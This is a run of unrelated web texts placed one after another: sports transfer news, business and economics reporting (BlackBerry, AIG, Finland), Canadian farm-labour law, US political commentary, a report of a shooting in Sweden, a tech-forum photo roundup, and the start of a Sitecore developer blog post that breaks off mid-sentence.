loaned defender Kalen Ryden to the Austin Aztex of the USL. The rookie becomes the first Black & Gold player to be loaned to Austin, which was previously announced as Crew SC’s new USL affiliate ahead of the 2015 campaign. Crew SC retains the option to recall Ryden at any point while on loan. “Our partnership with the Aztex is a strong opportunity for players to gain valuable match experience while continuing to develop,” said Crew SC Sporting Director and Head Coach Gregg Berhalter. “We are certain Kalen will be in good hands with the coaching staff in Austin, led by Paul Dalglish, as they get their season underway on Saturday.” Ryden appeared in five contests during Crew SC’s preseason, helping the club keep clean sheets against Austin (February 15), London United (February 18) and the Costa Rica Under-23s (February 21). In college, the defender made 28 appearances (27 starts) over two seasons at Midwestern State. The Mustangs recorded a shutout in 13 of his starts. Ryden led the school to consecutive NCAA Division II postseason appearances, earning NSCAA All-South Central Region First Team honors in 2014. Previously, he spent two seasons at Oral Roberts University. Ryden was selected in the Fourth Round (69th overall) of the 2015 MLS SuperDraft on January 20. He signed with Crew SC on March 2. The Aztex begin the 2015 USL season on March 28 against Colorado Springs Switchbacks FC. A complete Aztex schedule can be found at AustinAztex.com. TRANSACTION: Columbus Crew SC loans defender Kalen Ryden to the Austin Aztex (USL) on March 26, 2015. Crew SC retains the option to recall Ryden at any point while on loan. -Stefan Johansen remained coy on his Celtic future following the appointment of Brendan Rodgers. With just 12-months remaining on his deal, the club could cash in on the midfielder signed in January 2014 from Stromsgodset by Neil Lennon to make way for new players. Several German teams are thought to be interested in the midfielder, who has underperformed for the Hoops this season. As quoted by Norwegian outlet Nettavisen, he said: We’ve been negotiating for a while, but I haven’t signed anything yet. We’ll see if it happens or not. I completely trust that my agent does what is best for me. I have a year left on my contract with Celtic and I will focus on it. His two assists against Malmo in a crucial playoff tie were quickly forgotten about as he put in under par performances time and time again. This season he has made 37 appearances, scoring four goals and assisting on eight occasions – with his last league goal coming on Flag Day against Ross County. The 25-year-old also spoke about the recent appointment of Rodgers, who replaced his fellow Norwegian Ronny Deila. He has coached big clubs like Liverpool and Swansea. I think he will be a good match for Celtic , and the football he stands for is also suitable for the club. Johansen was given time off to recover after he admitted to suffering from a back injury, but he still hasn’t quite reached the standards he set last year when he scored 10 goals and added 13 assists and received the SFA Player of the Year Award. It remains to be seen who Rodgers will want to keep this summer and beyond, and with his contract up next summer, it will quickly become clear whether Johansen features in his future plans. Should Celtic sell Stefan Johansen this summer? -What an amazing time to be a rich person in Miami-Dade. The market just keeps providing you guys with luxury things that us poorer people couldn't even imagine actually existed. Things like condos for your cars. No, not condos to actually live in and park your car nearby like the under-construction Porsche Design Tower in Sunny Isles Beach. A condo that is literally just a nice place to store your collection of luxury automobiles. The new project to do just that is called the Gables Auto Vault and it will be located at 3851 Bird Road. It's currently a vacant lot but is blocks away from a few high-end luxury car dealerships, including the Collection. It's a collaboration between CFH Group and developer Sheldon Lowe, and just received a $19.5 million loan for construction. Gables Auto Vault: a car condo for your luxury car. $500K to $2 mill. via @trdmiami https://t.co/DtgKU8pMzE pic.twitter.com/GWaeeTuZap — SFDB (@sfdb) March 2, 2016 -A Peek At Other Computer Technicians Workbenches #4 Keeping with what has almost become a Technibble tradition, its time again to take a peek at the Technibble forum members workbenches. Its a great way for technicians to get inspiration for your own setups, see how others are doing it and for the owners to show off a little. We are now up to Workbenches #4 and if you missed them, you can check out our previous “Peek at Technicians Workbenches” posts here (1, 2, 3). Here is “A Peek at Other Computer Technicians Workbenches #4”: PBComputer Here are three pictures of our workshop. The images have not being stages or have I tried to tidy up for the pictures. A lot of the “stock” will be hopefully gone this week, once it’s being put on eBay. gunslinger Its not much, but it gets the job done Maniaman Here’s an update now that my room is pretty well 95% finished. Fully functional now. Only thing left to do is put up a couple more shelves, and get electricity to the wall to the left in the first pic. Until then it’s still a great space for things like laptop disassembly. Computers under the counter are waiting to be parted out/pieced together into used computers. Center island with two tech machines, a server, and a collection of usb drives with various tools on them. By far the messiest right now, I need to clean it up again. ComputerPro Were moving into a new building across the street from our current location. LOT of work ahead! Were thinking of reversing our theme colors for this one (Walls green with black trim) and Blue used as accent color. Currently its the exact opposite. We’ll be tripling our space (there’s more offices, storage area in back not shown in pics). Right now its VERY bland being plain white. Compared to our loud colors anyway lol. Here are a few photos of the new building. ‘putertutor This is my own little dark and dank corner of the world. This is in my basement, and I had a fluorescent bulb go out on me this morning, so its not always so depressing looking in there. I am in the process of building a 20″ long bench to the right of the wooden door in the pic. I’ll probably convert the space my bench is in now to shelving, get all the machines of the floor. Eventually, I’ll stud out the walls, sheet rock them and make it a proper looking shop. Eventually… PS: That red cup is a pen/pencil holder, not a drink. gamesta400 Here are the pics of my shop inside my home. My house was zoned business so I build this shop inside the front door and put a 5 foot sign in the front yard. gikstar The skylights work great for us, no need to turn on the lights during the day time. I have added about 20 more computers sitting in the racks and under the work benches now. I seem to be constantly purchasing more and more stuff… just can’t seem to pass up a good Craigslist deal. Just today I purchased 2 – Dell 22″ monitors (P2210t’s) for $60 each and a Dell 2007 Ultrasharp for $15 (which replaces the one we just sold today). We have room to expand if we need to (have an empty bedroom). That one monster of a tech bench I had in storage for about 3 years since we didn’t have a place big enough to put it up (a free item that I found on Craigslist along with a full size server rack). stidham Here is my work at home area. BillMoney My “workshop” down in the basement TechLady Here’s my workshop in the garage. Those book shelves used to go all the way down to the floor and all the way across the wall…wasn’t easy letting go but we now have an awful lot of credit at the used bookstore down the street. The left half is more for laptops, the right half more for desktops. Sewed the curtains myself :) 16k_zx81 Left pic – my spot, right pic – bob’s spot, bottom pic – spare bench, shared, for work overflow. PR Tech Here is a Google virtual tour link of my shop. Fun things to see… 3 Chronic Cellars posters (Dead Nuts, The Unteachables & Purple Paradise) in the tech bench area and the wall clock in the reception area. I had the tech benches custom made by a local cabinet maker. I use raceways to hide the cabling. Special thanks to everyone who shared pictures of their workbenches with us! 0 Shares -BlackBerry (NASDAQ:BBRY) and T-Mobile US (NYSE:TMUS) have kissed and made up. A little more than a year after BlackBerry cut sales ties with T-Mobile amid a dispute over T-Mobile promoting the iPhone over BlackBerry's phones, T-Mobile is now going to start selling the BlackBerry Classic smartphone. BlackBerry Classic Notably, the rapprochement between the carrier and the smartphone maker comes as T-Mobile is ramping up its efforts to gain market share in the enterprise market with new business plans. Getting T-Mobile back on board will also give BlackBerry a new possible revenue stream. The Classic will be available beginning May 13 at T-Mobile.com and in participating T-Mobile stores beginning May 15 for $0 down, with equipment installment plan payments of $18.33 per month for 24 months. Customers can also purchase the Classic for $439.92 at full retail price. The Classic is not BlackBerry's newest phone (that would be the touchscreen Leap) but it is one of BlackBerry's flagship products, and with its Qwerty keyboard it will likely appeal to business users. Verizon Wireless (NYSE: VZ) and AT&T Mobility (NYSE: T) started selling the Classic in February. In a statement, the companies said they "showed they're two companies in the business of listening to their customers." "People who love BlackBerry smartphones and want to use one on America's fastest nationwide 4G LTE network now have that choice," T-Mobile CEO John Legere said in a statement. "Bringing BlackBerry into our device line-up now also stokes Un-carrier 9.0, which is all about bringing the Un-carrier revolution to business." "BlackBerry is proud to partner with T-Mobile once again to offer the world's most secure and reliable mobile products and services that encourage productivity--whether they are individual users making the most of their day with the BlackBerry Classic, or an enterprise seeking to manage thousands of devices," BlackBerry CEO John Chen added. "Together with T-Mobile, we hope to deliver highly differentiated solutions that appeal to our mutual users: the power professionals who depend on their smartphones to get things done and make things happen." The burying of the hatchet comes less than two months after T-Mobile launched new plans aimed at business customers with a simplified rate structure in an effort to take away business from Verizon and AT&T. Although BlackBerry has seen its market share dwindle in recent years, many government workers and those in the legal, finance and medical professions still use BlackBerry phones. Selling the Classic could be a way for T-Mobile to step up its presence in the enterprise and small-and-medium-business markets. BlackBerry's decision last year to essentially cut sales ties with T-Mobile came after a public spat between the two companies over T-Mobile's decision to promote the iPhone as an alternative to its BlackBerry customers. For more: - see this release - see this SlashGear article Related Articles: Analysts: T-Mobile's business plans could appeal to small businesses but not big enterprises T-Mobile aims to steal business customers from Verizon, AT&T with cheaper, simpler pricing T-Mobile offers $100 credit to BlackBerry customers after companies break up BlackBerry to cut sales ties with T-Mobile Report: 94% of T-Mobile BlackBerry customers who traded in phones switched to another platform T-Mobile to offer BlackBerry users $250 in credit to upgrade to new Z10, Q10 BlackBerry CEO Chen slams T-Mobile for enticing BB users to switch to iPhone -Confusion has surrounded the debate over Alberta's Bill 6, as the NDP government continues to push forward legislation aimed at making farm work safer and bringing the province's labour laws more in line with the rest of Canada. Farmers and ranchers see the proposed law as a threat to their businesses and ways of life, however, and they have not been shy about saying so. The often emotional debate has been heightened by the recent deaths of a 10-year-old boy who was killed driving a forklift on a farm near Killam, Alta., and three sisters who suffocated in canola seed near Withrow, Alta. In the face of a protest involving more than 1,000 people outside the Alberta Legislature, Labour Minster Lori Sigurdson admitted the government "could have done a better job in communicating." She and other ministers then pledged to personally attend town halls and public meetings around the province to offer more clarity about the bill. Still, many questions remain. Here, we do our best to answer five of the most common ones, and compare Alberta's proposed regulations to those in our neighbouring provinces: 1. Will workers compensation be mandatory for all farm workers, including family members? According to the current wording of the bill, yes, but that could change. "If you are operating a for-profit farming operation … you must cover any unpaid workers, including family members and children, performing work on your farm," the Workers Compensation Board (WCB) of Alberta states in its explanation of Bill 6. Farm operators would be asked to provide a "value of service" for the work unpaid labourers perform, the board explains. Sigurdson, however, later suggested that would be amended in a new version of the bill, which would include an "explicit" exemption for families working on farms. The province later clarified in a press release that "WCB coverage would be required only for paid employees, with an option for farmers to extend coverage to unpaid workers like family members, neighbours and friends." In Manitoba, workers compensation coverage was made mandatory for farm labourers in 2009, but family members were exempted from that change. 2. How much will WCB coverage cost? Workers compensation premiums, which must be paid by employers, range depending on the risk of injury associated with the type of work being performed. Alberta is proposing rates ranging from $1.70 per $100 of insurable earnings for things like greenhouse work up to $2.25 for grain farming and $2.97 for workplaces involving large animals, including beef producers, feed lots, livestock auctions and horse stables. In British Columbia, by comparison, the rates are more expensive. At the low end, orchard and vineyard work in B.C. comes with WCB rates of $1.73 per $100 of insurable earnings, but at the high end, the rate for grain farming stands at $4.87 and ranching at $5.65. 3. How dangerous are farms? Alberta averages about 17 farm fatalities each year, including three deaths of children, based on data collected by the provincial government since 1985. Most of those deaths in recent years are due to machine runovers or rollovers, although not all were work-related. By contrast, there are an average of 13 people killed on Saskatchewan farms each year, most involving machinery. About 14 per cent of serious farm-related injuries in Saskatchewan involve youth. 4. What about occupational health and safety? Unlike other provinces, farm workers in Alberta are currently exempt from occupational health and safety laws and have no right to refuse unsafe work. That also means data on work-related injuries and deaths are considered incomplete in Alberta, because currently all accidents don't need to be reported, and investigations aren't routinely launched. In Saskatchewan, by contrast, employers are required to provide safe working environments and must ensure their workers know they have the right to refuse what they perceive to be unsafe work. Alberta's occupational health and safety exemption for farms and ranches would change under Bill 6, with standards applying "when a farm employs one or more paid employees at any time of the year," according to a government press release. 5. Will kids and neighbours still be able to help out on family farms? That's been a particularly unclear point, according to Stephen Vandervalk, vice-president of the Western Canadian Wheat Growers in Alberta, who has been watching the legislation closely. If Bill 6 is passed and indeed takes effect on Jan. 1, Vandervalk says farmers and ranchers aren't sure if neighbours could casually pitch in with cow branding or if children younger than 16 could help or even accompany their parents if they're working long hours. Premier Rachel Notley, however, later pledged that kids living on family farms "will continue to be able to work on the farm as they always have." "And they will continue to be educated on the farm through 4H programs as they always have," the premier said, speaking to reporters via conference call from Paris, where she was attending the COP21 climate change summit. In Saskatchewan, there are exceptions to occupational health and safety rules that allow kids to help out on family farms, but children are prohibited from tasks like operating motorized farm equipment and handling dangerous chemicals. No such prohibitions on kids operating motorized farm equipment currently exist in Alberta. There have been cases in Saskatchewan of confusion, however, where parents have run afoul of labour laws for having their kids take on particular tasks on the family farm. -It is not just torture hearings on the training table this morning, there is a plateful of AIG/Bankster/Bailout fun on tap too. At 10:00 am EST, the House Oversight and Government Reform Committee will hold a hearing on “AIG: Where is the Taxpayer Money Going?”. In advance of the big hearing, David Cho and Brady Dennis in the Washington Post have a significant article out this morning confirming what any sane mind has thought all along, namely that the government and the Fed were way deeper in the muck of the AIG bonuses, and knew full well about the issue, long before they have admitted: Documents show that senior officials at the Federal Reserve Bank of New York received details about the bonuses more than five months before the firestorm erupted and were deeply engaged with AIG as well as outside lawyers, auditors and public relations firms about the potential controversy. But the New York Fed did not raise the alarm with the Obama administration until the end of February. Timothy F. Geithner, who became Treasury secretary early this year, was the head of the New York Fed when it became aware of the bonus details. But his name is not among those of senior New York Fed officials mentioned in the summaries of phone calls, correspondence and other documents obtained by The Washington Post. Those documents also illuminate who in the government, beyond the New York Fed, knew what about the bonuses at AIG’s most troubled unit, and when. … By Sept. 29, the bonus matter first appeared on the radar of the New York Fed, which was designated as the primary contact for AIG, documents show. Senior officials from the New York Fed met with AIG officials to discuss the compensation plans in place at Financial Products, whose risky derivative contracts had brought the insurance giant to the brink of collapse. AIG e-mailed officials at the New York Fed copies of the company’s compensation plans, which detailed bonuses and retention payments, including those at Financial Products, documents show. The issue arose in scores of meetings and conference calls over the ensuing months. AIG also disclosed its retention programs in public filings. Weeeeeeee! Another shocking instance of gambling going on at the casino. Or not. Actually, when we first learned of the Semtex laden AIG Retention Contracts there were immediate questions as to how it could be that the Fed and the rest of government had no idea of the explosive potential. Now that we know they knew, it sure is hilarious that Treasury Secretary Tim Geithner, in mid-March 2009, tried to devise a laughably bogus plan to fix the very same problem he apparently full bore ignored in October 2008 at the previous job where he was supposedly the smartest kid in the room. Of course, it wasn’t just the New York Fed, and their purportedly detached head, that have completely misrepresented their depth of knowledge of the pending AIG Bonus Scandal. Congress did too (and they also attempted an inane hasty fix to the problem they had long known of): Key members of Congress began investigating the payments as long ago as October and, beginning in January, repeatedly warned the Treasury about the matter. … The spark that would grow into a political firestorm began in October when lawmakers began to request documents about the compensation at Financial Products. Rep. Elijah E. Cummings (D-Md.) in particular latched on to the issue. By January, AIG was feeling heat from lawyers at the House Financial Services Committee, and from the offices of Rep. Paul E. Kanjorski (D-Pa.) and Rep. Joseph Crowley (D-N.Y.), who one staff member noted in an e-mail to AIG was "very upset about these payments." Kanjorski has said that around this time his staff began calling the Treasury about the issue and sending letters, but communication was hindered by the transition between administrations. Note that both the Fed and Congress folks were jabbering at the Administration, both that of Bush and Obama, on this long before either Administration has fessed up to. Another shocker. There are a lot more specific facts and discussion in the Washington Post article, and it is worth a full read. In fairness, it is certainly not like we didn’t suspect such duplicitous complicity out of these officials, but the starkness of it sure brings the fury of the initial Bonus Babies Scandal revelation right back to the front burner. And just in time for today’s hearing. Go figure. Now, back to the hearing, the official press announcement describes it as follows: At 10:00 a.m., Chairman Towns and Ranking Member Issa will offer their respective opening statements and then Chairman Towns will swear in the C.E.O. of AIG, Mr. Edward M. Liddy, at approximately 10:15 a.m. Mr. Liddy will then offer his opening statement followed by questions from the Committee members. At the conclusion of Members’ questions for Mr. Liddy, Chairman Towns will swear in the second panel of witnesses [comprised of AIG Trustees and a professor] and proceed with their opening statements, followed by Members’ questions. The hearing will be broadcast in-house on channel 32 and available on the Committee webcast at 10:00 a.m. The prepared testimony/statement of AIG Chief Ed Liddy is here and the AIG Trustees here. If you are interested in high finance, and torture is not your cup of tea, tune in and turn on. Of course, that is not to say that the slow rot coming out of Tim Geithner, Congress and the AIG saga isn’t torture, it most certainly is. -The District of Columbia and D.C. United announced on Wednesday that the District has filed for eminent domain to acquire full control of the site of United’s proposed stadium in the Buzzard Point neighborhood of Southwest Washington. The club and the District jointly released the following statement to announce the measure, which – if completed – would clear United to begin construction on their long-awaited soccer-specific stadium. “The District of Columbia and D.C. United are moving forward on a soccer stadium that will transform a neighborhood on the banks of the Anacostia and generate hundreds of new jobs for District residents," the statement reads. "We have created the best deal for the District, its residents, D.C. United and its fans." Per terms of a deal signed between the District and United in June, the D.C. government had a Wednesday deadline to acquire all of the land at the proposed stadium site. They had obtained all but two acres of land at the site prior to Wednesday, but couldn't agree to a price to buy the final piece of land from a local developer, forcing Mayor Muriel Bowser's government to file for eminent domain. -HELSINKI (Reuters) - Vesa Vihavainen is worried. Merivaara, his Finnish-based hospital bed-making business, is struggling - just like the economy that Finns once held up to debt-laden Greeks as a model of what national thrift can achieve. People stand near the gate of the Nokia factory in Salo, January 17, 2013. REUTERS/Roni Lehti/Lehtikuva Weak sales mean Merivaara has had to lay off staff as Finland fails to find an exit from a two-year recession. That spiral of lost jobs and income is also wrecking the country’s cherished reputation for sound public finances. Finland’s school-masterly advice, prominent in a chorus of northern European criticism when euro zone debtors asked for bailouts, may come back to haunt its policymakers as they struggle to agree on reforms from taxes to pensions. While southern Europe starts to win back investors after years of donor-imposed job losses and welfare cuts, Finnish welfare costs and taxes have risen as jobs are lost. Government levies as a share of gross domestic product (GDP) have jumped to a European Union high, piling costs onto the private sector. Finnish exports, investments and retail sales are all tumbling and firms are putting out profit warnings. “The Finnish economy has drifted into the same reference group with Italy and France,” the EU’s top economic official Olli Rehn said, referring to the two big euro zone economies whose finances linger outside the bloc’s fiscal limits. “We have no time to lose,” said Rehn, a Finn, last month. But with parliamentary elections in a year’s time and Prime Minister Jyrki Katainen due to step down next month, serious cost cutting looks unlikely for now. “We would need a brave government to implement the needed reforms,” Danske Bank economist Pasi Kuoppamaki said. But the chance of that happening decreased further on Friday, when social democrats replaced their leader, Finance Minister Jutta Urpilainen, with union boss Antti Rinne, who has advocated state take a bigger role in the economy. And with the opposition talking mainly about small cuts to welfare and incremental changes, elections are unlikely to produce anything beyond policy fine-tuning. Finland’s GDP is still about 5 percent below its 2007 level, a bigger lag than the euro zone average and well below its main export competitors, Sweden and Germany. The economy shrank 1.4 percent last year, and on Monday, the European Commission forecast it to grow 0.2 percent this year and 1.0 percent next - the second-weakest in the euro zone on both counts, beating only bailed-out Cyprus. Netherlands, another debt-crisis hardliner, also has seen economy contract, but its struggles are smaller than Finland’s and has returned to export-led growth. In the euro zone, only Malta and Estonia are less competitive than Finland on pricing. Companies such as Merivaara produce less, but labor costs have not fallen nearly as much. While Finnish leaders are worried, about half the deficit trimming has been achieved by raising taxes. Government revenue as a share of GDP rose to 56.3 percent this year, the highest in the EU and more than 10 percentage points above the EU average. “The question is: How can Finland finance a public sector of this size, and the answer is: ‘It really can’t, at least if it wants the economy to grow’,” Nordea analyst Jan von Gerich said. ERODING COMPETITIVENESS Merivaara’s sales of hospital beds and surgical tables show rising domestic costs coupled with the strong euro are increasingly hampering exports, which go mainly to Scandinavia and Russia, where the economy has stagnated. “Price competitiveness is getting tougher all the time,” Merivaara’s Vihavainen said. “Labor here is expensive, and we are far from markets, which adds to transportation costs.” Besides, health care spending across the globe is being squeezed by cuts in public budgets - a cause Finland championed. “Why would we listen to countries that are not taking care of their own public finances?” said its EU minister Alexander Stubb in 2011. He could become prime minister next month. Even after two years of recession, there are few empty storefronts. Unemployment has risen, but is still well below the EU average, which has made it easier to delay reforms. Finland has kept its top triple-A credit rating, earned by reforms undertaken after a deep recession in the early 1990s. But its pristine fiscal reputation “is more the past than the present,” Pimco portfolio manager Andrew Bosomworth said. Foreigners hold 90 percent of its sovereign debt, and Finland may find its cost of borrowing drifting higher as debt investors look more closely at its current performance. “When investors think next time whether they should buy more or reduce Finland’s weight (in their portfolios), it may be that they’ll act differently,” Nordea’s von Gerich said. LOST RECIPE FOR GROWTH Finland, with 5.5 million people, has lost about 100,000 industrial jobs in 10 years. Phonemaker Nokia’s woes have grabbed global headlines, but traditional Finnish strongholds of machinery and paper sectors are shedding jobs too. In a February report to government, economists Bengt Holmstrom, Sixten Korkman and Matti Pohjola called the current crisis “to some extent even worse” than that of the early 1990s, when unemployment rates were close to 20 percent. “Productivity growth has stopped in a never-before-seen manner and there is a lack of ideas to speed it up. The recipe for growth has been lost,” they said. Finns must shrink their welfare state and, put simply, work harder, they said. The OECD has just given a similar message. In Finland, Sweden serves as a yardstick for almost anything, and Finland has fallen well behind. Sweden has rebounded from the financial crisis well and its economy is expected to grow about 3 percent this year and next. Mobile games have often been touted as a Finnish success story, with global hits including Clash of Clans and Angry Birds. But the sector employs only about 2,000 people at home. Slideshow (3 Images) Finland also lags on reform: Sweden has cut taxes and brought the welfare state to an affordable level. With many Finnish export-goods makers training their workers to perform highly specialized tasks, they have sought to keep the staff employed. Now lay-off notices are more frequent, and with capacity use at less than four-fifths, even an export upswing is unlikely to mean more hiring or investments. “There is no positive news for Finland in any scenario, at least not in the near future,” Nordea’s von Gerich said. -Brian Snyder / Reuters - Susan Walsh / AP You’re entitled to your own opinion but not to your own facts; that political dictum was coined by the late Sen. Daniel Patrick Moynihan, because he was no fun. Well, good news, folks! Now you can have your own facts! Even better, when it comes to campaign polls you don’t like, you can now have your own numbers! The concept / conspiracy theory that election polling this year is “skewed” toward oversampling Democratic voters–meaning they give falsely strong results for Obama–has, through social media and the Drudge Report, reached full-on Internet meme status. (Go on Twitter after any major poll release, search for “Obama poll” or “Romney poll” and watch your screen fill with disgruntled amateur statisticians muttering about “D +9 sampling.”) And now the polling conspiracists have their own website, UnSkewedPolls.com, which essentially takes existing polls and changes the numbers so that Mitt Romney is winning them. Well, there’s more to it than that—not a lot more, but more. The idea behind UnSkewedPolls.com is that there should be a far greater ratio of Republicans to Democrats in the electorate today than voters are telling pollsters that there is. The site takes data from major public polls, opens them up, and recalculates the percentages based on these much-more-GOP-friendly assumptions. In the RealClearPolitics average of national polls this morning, as I write this, Barack Obama leads by 3.7%. In the world of UnSkewedPolls.com, Romney is currently up by 7.8%. Click, tap–hello, landslide! People more astute politically or accomplished at statistics than I can better detail the problems with this approach. (To take just one example, even if you accept this site’s premise, it’s applying the same recalculating method to polls with different methodologies—peeling oranges like apples.) But the mere fact that this mindset has developed, has quickly spread and has become the current weapon of choice for mau-mauing election coverage on behalf of an aggrieved party says something about how hospitable political culture has become to conspiracies. Certainly polls can be wrong. They can be wrong en masse. (I won’t, however, cite exit-polling foulups like those in 2000 and 2004; those are a different type of survey than pre-election polling.) They can even, conceivably, be wrong en masse in the same direction. And it’s absolutely true that certain pollsters can have a “house effect” that tends more Republican or Democrat–which is exactly why sites like RealClearPolitics average out all the polls, and stat gurus like the brilliant Nate Silver account for the leans of various pollsters in their forecasts. But consider what the “polls are biased” meme asks us to believe. That dozens of national and local polls are deliberately skewing their results to find a greater proportion of Democratic voters than there are. (Not only that, but the private campaign polling that Republicans themselves say bodes poorly for Romney is also biased for Obama!) And/or: voters themselves are—from guilt? political correctness? peer pressure?—reporting themselves as identifying Democratic more than they actually do. Evidently they didn’t do this in 2008, at the apex of Obama-mania–else the pre-election polling would have shown Obama with a 20% blowout lead–but they’re in the tank now, in concert–all of them. Independent polling firms. Educational institutions. Local media. National media. The Wall Street Journal and Fox News—that’s right, Rupert Murdoch’s media properties are in there lifting away to give Obama a second term! What’s more, they’re all knowingly, erroneously reporting results that not only can be, but by definition will be, refuted by vote returns. Media outlets that rely on polls for credibility, pollsters that rely on accuracy for their very businesses’ existence–they’re ready to blow it all in a few weeks just to give Obama four more years. Except—aha!—there is of course a way around this argument. Suppose by some chance the results of these “skewed” polls prove right on election day. How do we know that the skewing didn’t influence the result? That a drumbeat of positive polls for Obama didn’t brainwash voters into jumping the bandwagon, dry up campaign donations, depress Republican turnout? You call it an accurate poll? I call it a self-fulfilling prophecy! The game is rigged, my friend! That’s why this sort of thinking is so popular, why it spreads so easily and why, apparently, no one in America will ever again believe that they fairly lost a hotly contested major election. This kind of bias charge is not just a willful single belief—it’s a totalizing mindset, in which any proof to the contrary can be jiu-jitsued into proof that the conspiracy is working. Whatever Moynihan once said, the way it works now, you don’t need to have your own opinions or your own facts. As long as you have your own all-encompassing theory of mass brainwashing, the opinions and facts that you want will supply themselves. [Update] Here, my standard disclosure: I voted for Obama in ’08 and plan to do so again in ’12. To paraphrase Walter Mondale: most people who write about politics have voting preferences—the difference is they won’t tell you theirs and I just did. To read my fuller thoughts on political writing and disclosure, click here. -A GUNMAN has opened fire at a busy market in Trelleborg, Sweden. Four people have been taken to hospital as a result of the incident which happened Thursday night local time, around 8am AEDT. Police say the attack is not being investigated as terrorism. However it appears to be the latest in a string of violent gang-related incidents that have beset the Swedish nation. Trelleborg is the southermost town in Sweden and has become known for gang violence. The shooting happened in the centre of the city. Police said two of the injured were hurt during a shooting and that a total of four people were taken to the hospital late Thursday. The Express quoted a Swedish policespokesman as saying: “We have received several reports of a shooting in Trelleborg.” “When we arrived at the scene, several people with gunshot injuries were found. “We are blocking certain areas and will conduct an investigation. “I do not have any more information at this time. But we are at the scene and investigating.” According to initial reports people were shot at multiple locations. One witness told The Express: “There were many shots. We saw someone running outside. It’s packed with police cars in the street.” Another said: “I was at home at my computer when I heard a loud bang.” People have been advised to avoid the area which has been cordoned off. Police say a K-9 unit is searching for weapons and officers are interviewing witnesses. No suspects are in custody. Trelleborg is a Swedish port town located 33 km south of Malmo and 64km southeast of Copenhagen, Denmark. -Ready to fight back? Sign up for Take Action Now and get three actions in your inbox every week. You will receive occasional promotional offers for programs that support The Nation’s journalism. You can read our Privacy Policy here. Sign up for Take Action Now and get three actions in your inbox every week. Thank you for signing up. For more from The Nation, check out our latest issue Subscribe now for as little as $2 a month! Support Progressive Journalism The Nation is reader supported: Chip in $10 or more to help us continue to write about the issues that matter. The Nation is reader supported: Chip in $10 or more to help us continue to write about the issues that matter. Fight Back! Sign up for Take Action Now and we’ll send you three meaningful actions you can take each week. You will receive occasional promotional offers for programs that support The Nation’s journalism. You can read our Privacy Policy here. Sign up for Take Action Now and we’ll send you three meaningful actions you can take each week. Thank you for signing up. For more from The Nation, check out our latest issue Travel With The Nation Be the first to hear about Nation Travels destinations, and explore the world with kindred spirits. Be the first to hear about Nation Travels destinations, and explore the world with kindred spirits. Sign up for our Wine Club today. Did you know you can support The Nation by drinking wine? Last December the same conservative activists who persuaded the Supreme Court to gut the Voting Rights Act challenged the historic principle of “one, person, one vote.” They asked the Court to require states to draw districts based on eligible or registered voters, as opposed to total population, which had been the standard for more than 50 years. If that happened, millions of people, including children and non-citizens, would have been denied political representation. Districts would have become older, whiter, more conservative and more favorable to Republicans. Ad Policy Today the Supreme Court rejected that challenge, upholding “one person, one vote” in a unanimous 8-0 decision. Justice Ruth Bader Ginsburg wrote the decision, saying that all people are entitled to equal representation under the law. “It remains beyond doubt that the principle of representational equality figured prominently in the decision to count people, whether or not they qualify as voters,” she wrote. (Justices Thomas and Alito concurred with the judgment but did not agree with its reasoning.) Here’s the key part of her argument: Adopting voter-eligible apportionment as constitutional command would upset a well-functioning approach to districting that all 50 States and countless local jurisdictions have long followed. As the Framers of the Constitution and the Fourteenth Amendment comprehended, representatives serve all residents, not just those eligible to vote. Nonvoters have an important stake in many policy debates and in receiving constituent services. By ensuring that each representative is subject to requests and suggestions from the same number of constituents, total-population apportionment promotes equitable and effective representation. LIKE THIS? GET MORE OF OUR BEST REPORTING AND ANALYSIS This is a major victory for voting rights, and a huge crisis averted. If states had been required to use current voting-age population instead of total population as the metric for drawing districts, as I previously reported, a staggering 55 percent of Latinos—those who are under 18 or non-citizens—would not have been counted, as well as 45 percent of Asian Americans and 30 percent of African Americans. Yet this is still in many ways a bittersweet victory, given that the 2016 election is the first in 50 years without the full protections of the Voting Rights Act. We’re seeing the clear impact of that decision this year, with five-hour lines in Arizona, voters turned away from the polls by North Carolina’s voter-ID law, and 300,000 registered voters who could be disenfranchised in Wisconsin tomorrow. Imagine if protecting voting rights were the norm, rather than the exception, before the Supreme Court. That’s why the future of the Court is the most important issue facing the country in 2016 and beyond. Editor’s note: An earlier version of this article may have implied that the Court’s decision barred voter-eligible apportionment. In fact, though Justice Ginsburg’s opinion strongly endorsed total population apportionment as a “well-functioning approach” that “promotes equitable and effective representation,” the Court explicitly declined to “resolve” the question of whether states may use voter-eligible apportionment. While Justices Alito and Thomas concurred with the judgment, they disagreed with the opinion. The article has been updated to clarify these points. -Friday, July 7th I began my new series “A Different Approach” with the post about injecting resources into the experience editor. After I made my that post live, I continued my research and I became increasingly unhappy with my solution described. There is a better solution that solves my issue and that solution is somewhere in this post! 😮 Click here to skip the details of what led to this post. Click here to skip everything and go straight to my solution. Click here to watch the companion vlog to this post. It explains the code in more detail. Flashback to June 30th Issue: It all began with another oddly themed post. In that post, I described a situation where a client wasn’t 100% satisfied with their EE experience. They were concerned with the vagueness of how some of the fields and made a valid request. The client asked if we could add helpful descriptions to the fields prior to them initializing the field’s chrome which obviously contains the Field Name and Help Text (if any). Solution: I decided to use my Editor Enhancement Toolkit module. First, I created a new rule action that ties a field to the helpful information. Next, I created a processor that’s patched into the RenderField pipeline. The processor is simple. It processes the rules and if the rule’s conditions pass, the new rule action populates a variable with the helpful information. The variable is then wrapped in HTML markup and prepended the default markup that renders the field’s chrome. Issue That Arose from That Solution: Since both inline-styling and customizing existing Sitecore files i.e. the webedit.css are frowned upon, I needed to find a way to inject the stylesheet into the EE. I attempted to implement a solution using “PageExtenders” that I found on blogs by Pavel Veller, Mike Reynolds and Kamruz Jaman, but I failed. Kamruz Jaman, the always helpful Sitecore superhero saved me from wasting a lot of time troubleshooting and told me: “Since SC8.1 or so, the ribbon changed and was put into its own iframe. Previously it was part of the same page so using the page extenders meant it would affect both the content and the ribbon.” Update July 13th: I figured out how to get the PageExtender working, I explain it in the “My Solution” section. Kamruz also figured out a way to get it functional and informed me of this a little bit ago. Let’s head back to the future… er… present, July 13th, 2017 What I Hope to Achieve I want to figure out a way to implement my solution that is more flexible than hard coding the Stylesheet’s file in code and it must not involve any customizations to Sitecore items and files. Normally I would give a lecture on how customizing Sitecore items or files creates upgrade headaches, but rumor has it Speak UI is becoming extinct. Which means this post will probably lose all relevance in about 2 months. Let’s live for today and continue the quest to find a better solution to the issue. I am going to blog as I try to figure this out. Hopefully I figure this out quickly so the post doesn’t become insanely long. Potential Solution : GetPageStylesheets Pipeline & Speak Items I was digging through the decompiled assemblies, I can across something interesting in the Sitecore.Speak.Client 